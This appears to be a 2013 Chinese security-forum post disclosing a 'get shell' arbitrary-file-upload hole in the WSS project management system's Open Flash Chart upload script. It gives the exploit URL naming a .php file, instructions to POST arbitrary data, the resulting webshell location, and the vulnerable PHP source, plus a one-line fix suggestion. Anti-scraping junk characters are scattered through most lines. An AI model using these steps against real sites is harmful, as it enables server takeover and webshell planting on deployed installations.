找回密码
 立即注册
查看: 2863|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存9 n' K$ [; A# [- q' `1 q  q1 P
漏洞文件/chart/php-ofc-library/ofc_upload_image.php  J$ b2 e# I: {

2 X3 g7 ?6 w! U# ?4 @利用:
0 o# ^+ }% I( I# `& g0 L( V* {% ?/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名. H9 I; }  M9 _( x; u8 P) y
, M( ^1 U' k8 Z) `
Post任意数据+ |: Y- _" X1 d" [
保存位置http://localhost/chart/tmp-upload-images/hfy.php8 B& h7 J8 z5 x4 J( o
# X. P7 e5 _" f& S+ F
* @0 ^  J' B1 Y" K; ^  Y: [! q! K
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~+ a7 W" a9 X- ?9 N5 p* e- O
5 c9 m% c5 ~% G: X+ N: a" r$ f& |5 b
<?php9 x! z/ w7 F% w: p: y
& ~. C: A; H3 w6 M
/// d, a2 J- Z$ M
// In Open Flash Chart -> save_image debug mode, you
  S7 q3 z$ e* r4 |3 V" V8 Y/ H// will see the 'echo' text in a new window.
( d. t% n9 O. Y; l) M//
# K0 f( [8 n4 E2 C. [; I
, ?0 c! C& n! V; d, ~9 l; E/*5 U- g& s" [0 E+ G  |* H
. \3 K5 l8 v/ f) ]& x
print_r( $_GET );3 L# c" x6 M- l2 p- b) m$ s
print_r( $_POST );
. l  T# v, n3 @9 z' w# `4 e" Gprint_r( $_FILES );1 I" B( ^  ^* ]" w: Z4 ?! A

# Q7 m; f/ ^5 p1 F9 }. wprint_r( $GLOBALS );4 C2 }; ?" u; j
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );7 S; _# F6 z5 i2 O  F
2 D& V8 p- L5 v
*/
7 n( Z. j5 R- j1 c) ^9 v  d// default path for the image to be stored //
6 y) R& I+ P& u# \+ l4 V% [$default_path = '../tmp-upload-images/';
" e+ D0 N6 J* d/ L- w9 x% ^
- F& W% y: ^! h  Gif (!file_exists($default_path)) mkdir($default_path, 0777, true);
" V4 ^% {# ?; A# q; w# w+ A6 t& H% [$ m0 q
// full path to the saved image including filename //' r4 e7 I. J' g6 J6 [) p8 e
$destination = $default_path . basename( $_GET[ 'name' ] );
; v# f% @$ r; G' p. @: V' E
# L/ o$ j( M% X& J6 k1 Eecho 'Saving your image to: '. $destination;% V. v6 h9 h5 P2 n
// print_r( $_POST );
- a4 B/ _8 e8 B. I3 u// print_r( $_SERVER );+ X/ |3 v% K& a# `( B7 n1 J
// echo $HTTP_RAW_POST_DATA;
+ b4 D( d" G" c4 o* C% k5 t( {; L3 F" x4 u6 Q2 x
//6 z! y6 ]7 a4 l6 \7 s) G
// POST data is usually string data, but we are passing a RAW .png+ h1 k) W- N$ e
// so PHP is a bit confused and $_POST is empty. But it has saved' W" _1 k4 ^' F1 a3 a) x! b1 q
// the raw bits into $HTTP_RAW_POST_DATA
( I& z, _" P9 r# \% X- _: G/ O5 a( I& N//, E+ P# t0 ^) S; U* _
$ e2 m" {$ s. p6 A5 y* |
$jfh = fopen($destination, 'w') or die("can't open file");: t# n( w+ B+ Z8 j
fwrite($jfh, $HTTP_RAW_POST_DATA);
9 X( }8 _) \' _0 G% \0 xfclose($jfh);
/ p3 p" |8 u) Q- p' \2 y) |* {# ^) b
//0 l! g. F+ T1 Z- K8 R
// LOOK:
5 g9 n- |0 w& n4 b7 K3 H//! K4 x3 K* A5 N6 k- w! ?2 }6 _
exit();: d. ?- h. D  O+ K( @
//" E) F* R( `7 Q+ K1 l8 `
// PHP5:
: w4 L, v7 H* t" x7 G, \( N8 ^//' g$ ~* L6 i+ \$ K
* g# o, T. |/ s& h, B
' c' ~- f2 V# L: m+ }& a
// default path for the image to be stored //0 J8 W$ p) K% H7 f
$default_path = 'tmp-upload-images/';0 S% d% ~( v4 o; K6 w' U0 V" `5 l

8 p" D/ F) F) Tif (!file_exists($default_path)) mkdir($default_path, 0777, true);. b" O" H. k  A' U

' m4 s' O1 b9 ?' h. ]// full path to the saved image including filename //
) @" l* z. b0 N; N% L& r  {: e$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); # D" y' B2 }' [
0 M$ w: l0 ^) `6 d* M1 D/ k$ c
// move the image into the specified directory //" \& @/ c, o) H' |, n
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {+ }: X9 ^3 Y4 B5 D+ u; `; X
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";# K! V" b: h$ M; _+ h
} else {
8 d2 L; V3 z* L9 b    echo "FILE UPLOAD FAILED";
3 e2 x4 d, K0 l9 q0 m}: y& V# f9 A  A, Z' W- y- P8 {
0 k/ R  e$ V: y* Q4 b
  Y& E* m3 x% G, w
?>- j* O7 i% \2 F8 c; r
& t1 i1 Z1 n7 I5 e- z' T
7 n$ d* q. L* Q: U6 w
, s+ B  w( g7 y7 e; H/ V5 ~+ h( h

# T. {$ @7 H. ^6 d0 J; m
! c5 w( q- C, Z2 `& K+ q6 n/ u( I" J+ x1 T7 c% @; `
修复方案: : Z, p9 i; E. X$ O) g. D! q
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 ) o& ~# \0 z, B5 I, j- x4 f/ g' E
1 I7 Q  K, y, Y# {7 C/ h% _

8 _! D- w# N- M  v( R9 G
/ Y  z+ e# x3 z+ u- b* W1 v+ h  n0 k: s

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表